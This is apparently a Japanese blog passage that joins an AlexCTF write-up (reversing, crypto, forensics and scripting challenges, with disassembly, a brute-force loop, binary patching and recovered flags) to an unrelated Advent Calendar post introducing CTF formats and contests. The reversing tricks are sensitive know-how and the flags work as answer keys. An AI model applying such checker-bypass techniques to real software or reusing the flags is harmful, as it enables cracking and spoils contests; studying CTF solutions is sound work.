何度か適当な文字列を入れて実行してみると,
$ ./re2 aaaa Better luck next time $ ./re2 ALEX You should have the flag by now
どうやら,引数にとる文字列が途中まででも良いので正しければ出力が変わるっぽい.
ということなので以下みたいなクソみたいなスクリプトを書いて,1文字づつ確かめていった.
#!/bin/bash for c in a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ { }; do echo -n "$c: " ./re2 $1$c done
以下のように実行.フラグとして完成しても “L” がまだ出るのだけどどうもいらない模様だった.
$ ./re2.sh ALEXCTF{W3_L0v3_C_W1th_CL45535} | grep "You should" L: You should have the flag by now
RE3: Catalyst system
とても時間がかかった….
ひとまず実行してみると “Loading…” みたいな感じで何もできない.
ひとまず objdump してみると sleep してたりするところがあって,
どうも rand した値によって再び sleep するかどうかを判定しているようだった.
400e83: e8 d8 f8 ff ff call 400760 <sleep@plt> 400e88: bf 2e 00 00 00 mov edi,0x2e 400e8d: e8 2e f8 ff ff call 4006c0 <putchar@plt> 400e92: 48 8b 05 2f 12 20 00 mov rax,QWORD PTR [rip+0x20122f] # 6020c8 <stdout> 400e99: 48 89 c7 mov rdi,rax 400e9c: e8 8f f8 ff ff call 400730 <fflush@plt> 400ea1: 83 45 fc 01 add DWORD PTR [rbp-0x4],0x1 400ea5: 83 7d fc 1d cmp DWORD PTR [rbp-0x4],0x1d 400ea9: 7e bc jle 400e67 <rand@plt+0x6f7>
上記のような箇所が2箇所あるので以下のような感じで jle を潰した.
0x00000EAA 7E 90 0x00000EAB BC 90 0x00000F63 7E 90 0x00000F64 C2 90
これでようやく入力を受けつけるところにいける.
Username と Password を求められるので適当に実行してみるがよくわからず.
ひとまず Username を解析していくと…,
400cdd: 55 push rbp 400cde: 48 89 e5 mov rbp,rsp 400ce1: 48 83 ec 30 sub rsp,0x30 400ce5: 48 89 7d d8 mov QWORD PTR [rbp-0x28],rdi 400ce9: 48 8b 45 d8 mov rax,QWORD PTR [rbp-0x28] 400ced: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 400cf1: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 400cf5: 8b 00 mov eax,DWORD PTR [rax] 400cf7: 89 c0 mov eax,eax 400cf9: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax 400cfd: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 400d01: 48 83 c0 04 add rax,0x4 400d05: 8b 00 mov eax,DWORD PTR [rax] 400d07: 89 c0 mov eax,eax 400d09: 48 89 45 e8 mov QWORD PTR [rbp-0x18],rax 400d0d: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 400d11: 48 83 c0 08 add rax,0x8 400d15: 8b 00 mov eax,DWORD PTR [rax] 400d17: 89 c0 mov eax,eax 400d19: 48 89 45 e0 mov QWORD PTR [rbp-0x20],rax 400d1d: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] 400d21: 48 2b 45 e8 sub rax,QWORD PTR [rbp-0x18] 400d25: 48 89 c2 mov rdx,rax 400d28: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] 400d2c: 48 01 d0 add rax,rdx 400d2f: 48 3d 56 4b 66 5c cmp rax,0x5c664b56 400d35: 75 45 jne 400d7c <rand@plt+0x60c> 400d37: 48 8b 55 f0 mov rdx,QWORD PTR [rbp-0x10] 400d3b: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] 400d3f: 48 01 c2 add rdx,rax 400d42: 48 89 d0 mov rax,rdx 400d45: 48 01 c0 add rax,rax 400d48: 48 01 c2 add rdx,rax 400d4b: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18] 400d4f: 48 01 c2 add rdx,rax 400d52: 48 b8 b2 c7 00 e7 02 mov rax,0x2e700c7b2 400d59: 00 00 00 400d5c: 48 39 c2 cmp rdx,rax 400d5f: 75 1b jne 400d7c <rand@plt+0x60c> 400d61: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18] 400d65: 48 0f af 45 e0 imul rax,QWORD PTR [rbp-0x20] 400d6a: 48 89 c2 mov rdx,rax 400d6d: 48 b8 14 d3 6a 9a 68 mov rax,0x32ac30689a6ad314 400d74: 30 ac 32 400d77: 48 39 c2 cmp rdx,rax 400d7a: 74 14 je 400d90 <rand@plt+0x620> 400d7c: bf 69 10 40 00 mov edi,0x401069 400d81: e8 4a f9 ff ff call 4006d0 <puts@plt> 400d86: bf 00 00 00 00 mov edi,0x0 400d8b: e8 c0 f9 ff ff call 400750 <exit@plt> 400d90: 90 nop 400d91: c9 leave 400d92: c3 ret
こんな感じでやる気がなくなりそうになりながらも解析していく.
ユーザ名は12文字で,ひとまず XXXXYYYYZZZZ
とすると,
rbp - 0x10 = "XXXX"
, rbp - 0x18 = "YYYY"
, rbp - 0x20 = "ZZZZ"
で,
XXXX = X, YYYY = Y, ZZZZ = Z とおくと,上記の部分は以下の式を満たす X, Y, Z である必要がある.
X - Y + Z == 0x5c664b56 3X + Y + 3Z == 0x2e700c7b2 Y * Z == 0x32ac30689a6ad314
適当に計算すると,
X = 0x61746163 // cata Y = 0x7473796c // lyst Z = 0x6f65635f // _ceo
で username は catalyst_ceo
であることがわかった.
次にパスワードを解析していく.パスワードは以下のようなコードで比較している.
400a4c: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] 400a50: 8b 10 mov edx,DWORD PTR [rax] 400a52: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] 400a56: 48 83 c0 04 add rax,0x4 400a5a: 8b 00 mov eax,DWORD PTR [rax] 400a5c: 01 c2 add edx,eax 400a5e: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] 400a62: 48 83 c0 08 add rax,0x8 400a66: 8b 00 mov eax,DWORD PTR [rax] 400a68: 01 d0 add eax,edx 400a6a: 89 c7 mov edi,eax 400a6c: e8 8f fc ff ff call 400700 <srand@plt> 400a71: 48 8b 45 d8 mov rax,QWORD PTR [rbp-0x28] 400a75: 8b 18 mov ebx,DWORD PTR [rax] 400a77: e8 f4 fc ff ff call 400770 <rand@plt> 400a7c: 29 c3 sub ebx,eax 400a7e: 89 d8 mov eax,ebx 400a80: 3d 2a 05 eb 55 cmp eax,0x55eb052a 400a85: 74 14 je 400a9b <rand@plt+0x32b> 400a87: bf 69 10 40 00 mov edi,0x401069 400a8c: e8 3f fc ff ff call 4006d0 <puts@plt> 400a91: bf 00 00 00 00 mov edi,0x0 400a96: e8 b5 fc ff ff call 400750 <exit@plt>
srand に渡っているのは X + Y + Z とユーザ名を4文字づつに区切って足した結果だった.
これで常にシードは固定されているので rand の値は一意に定まる.
パスワードの4文字 - rand() = 0x55eb052a(ここの16進数は上記逆汗結果の後続にあと9個ある)
で比較しているので,
パスワード4文字は 0x55eb052a - rand()
で求まる.
ltrace とかすると rand によって吐かれた値はわかるので,あとは objdump の結果から計算していく.
最終的には, sLSVpQ4vK3cGWyW86AiZhggwLHBjmx9CRspVGggj
というパスワードが得られる.
あとは,求めたユーザ名とパスワードを入力するとフラグに出る.
$ ./catalyst ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▐░▌ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌ ▐░▌ ▐░▌ ▐░▌ ▐░░░░░░░░░░░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌░▌ ▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌ ▐░▌ ▐░▌ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ Welcome to Catalyst systems Loading Username: catalyst_ceo Password: sLSVpQ4vK3cGWyW86AiZhggwLHBjmx9CRspVGggj Logging in your flag is: ALEXCTF{1_t41d_y0u_y0u_ar3__gr34t__reverser__s33}
RE4: unVM me
バイトコンパイルされた python が与えられる.
uncompyle2 を使ってデコンパイルする.
$ uncompyle2 unvm_me.pyc # 2017.02.06 19:16:30 JST #Embedded file name: unvm_me.py import md5 md5s = [174282896860968005525213562254350376167L, 137092044126081477479435678296496849608L, 126300127609096051658061491018211963916L, 314989972419727999226545215739316729360L, 256525866025901597224592941642385934114L, 115141138810151571209618282728408211053L, 8705973470942652577929336993839061582L, 256697681645515528548061291580728800189L, 39818552652170274340851144295913091599L, 65313561977812018046200997898904313350L, 230909080238053318105407334248228870753L, 196125799557195268866757688147870815374L, 74874145132345503095307276614727915885L] print 'Can you turn me back to python ? ...' flag = raw_input('well as you wish.. what is the flag: ') if len(flag) > 69: print 'nice try' exit() if len(flag) % 5 != 0: print 'nice try' exit() for i in range(0, len(flag), 5): s = flag[i:i + 5] if int('0x' + md5.new(s).hexdigest(), 16) != md5s[i / 5]: print 'nice try' exit() print 'Congratz now you have the flag'
どうやらフラグは65文字で5文字ずつ md5 と比較して一致するかどうかを判定している.
13個の md5 を16進数に変換して md5online に投げて結合した.
CR1: Ultracoded
ZERO と ONE が書かれたファイルが与えられる.
2進数かな?と重い ZERO = 0, ONE = 1 に置換する.
次に 8bit づつ区切って ASCII に変換すると以下のようになる.
Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==
どうみても base64 なので decode すると,
$ echo "Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==" | base64 -D .- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -
モールス信号なので適当なサイトに投げてデコードすると,
ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT
このままではフラグの形式じゃないので
ALEXCTF{TH15O1SO5UP3RO5ECR3TOTXT}
としてみるも駄目.O
のところは普段 _
だよなぁ…とか思って置換したら正解だった.
Fore1: Hit the core
思考停止して strings してみると,
$ strings fore1.core (snip) cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv} (snip)
大文字だけみると ALEXCTF になっている.先頭の cvq
を落として5文字ごとに読むとフラグになるのでは?
と思って適当なスクリプトで5文字ごと抜いてみるとフラグになった.
ALEXCTF{K33P_7H3_g00D_w0rk_up}
SC1: Math bot
nc すると計算式が与えられる.ひたすら解くゲーかと思って以下のような適当なスクリプトを書いて走らせた.
import sys import socket import struct s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('195.154.53.62', 1337)) msg = s.recv(1024).strip().split('\n') s.send(str(eval(msg[22][:-2])) + '\n') while True: msg = s.recv(1024).strip().split('\n') print msg s.send(str(eval(msg[1][:-2])) + '\n')
実行すると,
['Question 500 :', '29361097422042903253933445930908 * 312827792771128387861804825784952 ='] ['Well no human got time to solve 500 ridiculous math challenges', 'Congrats MR bot!', 'Tell your human operator flag is: ALEXCTF{1_4M_l33t_b0t}']
な感じでフラグが取れた.
TR2: SSL 0day
騒ぎになった Heartbleed
だった.
TR3: CA
見てみると Let’s encrypt だったので,何度か入力すると letsencrypt
で正解だった.
CTF について
この記事は OIT Advent Calendar 2016 の 25 日目の記事です.
まさか空いているのが最終日しかなくてトリになるとは….
自己紹介
Twitter は yuta1024 というアカウントでやっています.
OIT は 2008年入学・2012年卒業でその後は他大学院に進学したので,大学を離れてもう4年以上になります.
HxS コンピュータサークルに所属していて,サーバ管理者をやっていました.
今は,東京のとある企業で社内開発者向けのプラットフォーム開発・運用などを行っています.
大学の後輩である odan3240 君との繋がりで,初めて Advent Calendar を書くことになりました.
何を書こうかと最後まで悩んで,最終的には今自分がハマっている CTF についての紹介をしたいと思います.
CTF とは
CTF(Capture The Flag) とは,コンピュータセキュリティ技術を競うコンテストです.
CTF は大きく分けると, Attack & Defence
と Jeopardy
と呼ばれる2つの種類があります.
Attack & Defence
Attack & Defence は,チームごとにサーバが与えられ,自分たちのサーバを守りながら,
相手のサーバの脆弱性をついて情報を奪ったり,ファイルを書き込んだりして点数を競います.
自分はこちらには参加したことがないので詳しくはないです….
Attack & Defence と少し似たものとしては Hardening というものがあります.
こちらも同様に,チームごとにサーバが与えられ,自分たちのサーバをひたすら守ります.
運営から8時間攻撃を受け続けながら,与えられたサービスを継続し続ける,というものです.
他チームに攻撃することはできず,ひたすら自分のチームのサーバを堅牢化(Hardening)します.
毎年2回沖縄で開催されているので,興味のある方は参加されてみてはどうでしょうか.
自分は,MINI Hardening と呼ばれる,1時間程度のまさしくミニなものに参加しました.
参加記録は以下の記事に書いたので興味のある方はご覧ください.
yuta1024.hateblo.jp
また,実は今年の夏に本家 Hardening にも応募し通ったので参加しました.
参加記録を書こうと思ったいたのですが,忙しく書く時間がないまま細かい記憶を失ってしまいました.
また,参加できたら今度こそ書きたい,と思っています.
Jeopardy
Jeopardy は,クイズ形式で問題が与えられその問題を解くとフラグを得ることができ,
回答サーバにそのフラグを送信すると点数を得れる,という形式です.
自分がよく参加しているのはこちらになります.
Online でよくコンテストが開催されているので参加しやすいという特徴もあります.
以下のサイトに今後のコンテストや過去のコンテストなどの情報がまとまっています.
ctftime.org
Jeopardy では,様々な問題がありジャンル分けされています.
代表的なジャンルについて簡単に私見を交えながら紹介したいと思います.
ジャンル内での代表的な問題を取り上げているので,同じジャンルでも少し異なる問題もあります.
Web
取っ付き易い反面,取っ掛かりがさっぱりわからなくて解けないことも多いジャンル.
XSS や SQL Injection などが題材になることも多いです.
有名どころの脆弱性なども出題されることがあるので,
世の中のトレンド?的なものを日々収集しているととっかかりになることもあります.
Forensics
画像やディスクイメージなどに隠されたフラグを見つける問題です.
最近は Network
もこのジャンルに吸収されつつある?ような感じで,
pcap などを解析もこのジャンルに含まれることがあります.
Crypto
暗号系の問題が出題され,復号することでフラグを得ます.
数学的知識なども必要でなかなか難しいジャンルです.
Reversing
Windows や Linux の実行ファイルを解析し,内部に隠されたフラグを取得するという問題です.
バイナリ力が必要となります. Web などに比べると取っ付きにくい印象があります.
Pwn
Reversing と似ていて実行ファイルを解析するのですが,その実行ファイルは運営側のサーバで起動しています.
そのため解析しバッファオーバーフローなどの脆弱性を見つけた後に,
exploit code を書きサーバに侵入することでフラグを得ることができます.
Reversing 同様,取っ付きにくい問題ですが,最近は pwn の問題が多いコンテストが多い印象を受けます.
コンテスト
初めてだとどのコンテストに参加して良いかわからない,ということも多いと思います.
が,自分もよくわかっていません.
とはいえ有名どころなどもあるのでそういったコンテストを紹介します.
DEF CON CTF
DEF CON と呼ばれるセキュリティカンファレンスにて毎年開催されるイベントの一つです.
予選は Online なので誰でも参加可能です.
しかし,最近の予選問題は Pwn まみれで binary con とか言われていたりします.
今年の予選の writeup を書いているので興味のある方はご覧ください.
yuta1024.hateblo.jp
SECCON CTF
国内で開催されているセキュリティコンテストです.予選は Online で誰でも参加可能です.
決勝はオンサイトで行われており競技内容は Attack & Defence なようです.
DEF CON CTF 同様に今年の予選の writeup を書いているので興味のある方はご覧ください.
yuta1024.hateblo.jp
CSAW CTF
難易度的にもほどほど(難しい問題は難しいですが)で比較的参加しやすい CTF だと思います.
毎年出ようと思って出れていない気がするのはなんでだろう….
Google CTF
Google 主催の CTF で今年から始まりました.来年があるかはわかりません.
内容は Android や Go など Google が開発したものが題材になっているものが多かったです.
こちらも参加した writeup を書いているので興味のある方はご覧ください.
yuta1024.hateblo.jp
IceCTF
個人的には難易度もほどほどで参加しやすかったような記憶があるコンテスト.
問題のジャンルも広くて,初めてでも手が出る問題も多いかも.
おわりに
さて,今回は CTF について紹介してみました.
うまく紹介できた気はまったくしませんが,これを機に興味を持たれた方は是非参加してみてください.
CTF の魅力はたくさんあると思いますが,自分が思う魅力は様々なことを問題を解きながら学ぶことができるというところです.
まだまだ自分も勉強が足りないので,来年も頑張っていきたいと思っています.
それでは皆様,メリークリスマス!そして,良いお年を.